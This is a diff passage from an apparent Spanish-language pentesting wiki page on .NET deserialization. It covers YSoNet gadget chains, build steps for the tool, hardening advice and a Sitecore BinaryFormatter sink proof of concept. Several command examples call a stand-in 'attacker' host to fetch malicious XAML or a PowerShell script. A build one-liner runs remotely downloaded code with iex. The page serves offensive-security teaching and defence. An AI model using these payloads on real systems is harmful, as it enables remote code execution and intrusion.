+| **ActivitySurrogateSelector** | Abusa de `System.Workflow.ComponentModel.ActivitySurrogateSelector` para *bypassear el filtrado de tipos en .NET ≥4.8* e invocar directamente el **constructor** de una clase proporcionada o **compilar** un archivo C# al vuelo | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
+| **DataSetOldBehaviour** | Aprovecha la representación **XML legada** de `System.Data.DataSet` para instanciar tipos arbitrarios rellenando los campos `<ColumnMapping>` / `<DataType>` (opcionalmente falsificando el assembly con `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
+| **GetterCompilerResults** | En runtimes con WPF habilitado (> .NET 5) encadena getters de propiedades hasta llegar a `System.CodeDom.Compiler.CompilerResults`, y luego *compila* o *carga* un DLL suministrado con `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
+| **ObjectDataProvider** (revisión) | Usa WPF `System.Windows.Data.ObjectDataProvider` para llamar a un método estático arbitrario con argumentos controlados. YSoNet añade una variante conveniente `--xamlurl` para alojar el XAML malicioso de forma remota | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
+| **PSObject (CVE-2017-8565)** | Inserta `ScriptBlock` dentro de `System.Management.Automation.PSObject` que se ejecuta cuando PowerShell deserializa el objeto | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
+
+> [!TIP]
+> Todos los payloads se **escriben en *stdout*** por defecto, lo que hace trivial canalizarlos hacia otras herramientas (p. ej. generadores de ViewState, codificadores base64, clientes HTTP).
+
+### Compilación / Instalación de YSoNet
+
+Si no hay binarios precompilados disponibles en *Actions ➜ Artifacts* / *Releases*, el siguiente one-liner de **PowerShell** configurará un entorno de compilación, clonará el repositorio y compilará todo en modo *Release*:
+```powershell
+Set-ExecutionPolicy Bypass -Scope Process -Force;
+[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
+iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
+choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
+
+git clone https://github.com/irsdl/ysonet
+cd ysonet
+nuget restore ysonet.sln
+msbuild ysonet.sln -p:Configuration=Release
+```
+El ejecutable compilado `ysonet.exe` se puede encontrar en `ysonet/bin/Release/`.
+
+### Detección y endurecimiento
+* **Detectar** procesos hijo inesperados de `w3wp.exe`, `PowerShell.exe`, o cualquier proceso que deserialice datos proporcionados por el usuario (p. ej. `MessagePack`, `Json.NET`).
+* Habilitar y **hacer cumplir el filtrado por tipo** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) siempre que no se pueda eliminar el legado `BinaryFormatter` / `NetDataContractSerializer`.
+* Cuando sea posible, migrar a **`System.Text.Json`** o **`DataContractJsonSerializer`** con convertidores basados en lista blanca.
+* Bloquear ensamblados WPF peligrosos (`PresentationFramework`, `System.Workflow.*`) para que no se carguen en procesos web que no deberían necesitarlos.
+
+## Sink del mundo real: Sitecore convertToRuntimeHtml → BinaryFormatter
+
+Un sink .NET práctico accesible en flujos autenticados del Content Editor de Sitecore XP:
+
+- Sink API: `Sitecore.Convert.Base64ToObject(string)` envuelve `new BinaryFormatter().Deserialize(...)`.
+- Ruta de activación: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, que busca un elemento hermano con `id="{iframeId}_inner"` y lee un atributo `value` que se trata como datos serializados codificados en base64. El resultado se convierte a string y se inserta en el HTML.
+
+Ejemplo mínimo de extremo a extremo (autenticado):
+```
+// Load HTML into EditHtml session
+POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
+Content-Type: application/x-www-form-urlencoded
+
+__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
+<html>
+<iframe id="test" src="poc"></iframe>
+<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
+</html>
+
+// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
+GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
+```
+- Gadget: cualquier BinaryFormatter chain que devuelva un string (los side‑effects se ejecutan durante la deserialization). Vea YSoNet/ysoserial.net para generar payloads.
+
+Para una cadena completa que comienza pre‑auth con HTML cache poisoning en Sitecore y conduce a este sink:
+
+{{#ref}}
+../../network-services-pentesting/pentesting-web/sitecore/README.md
+{{#endref}}
+
+## Referencias
+- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
+- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
+- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
+- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
+
 {{#include ../../banners/hacktricks-training.md}}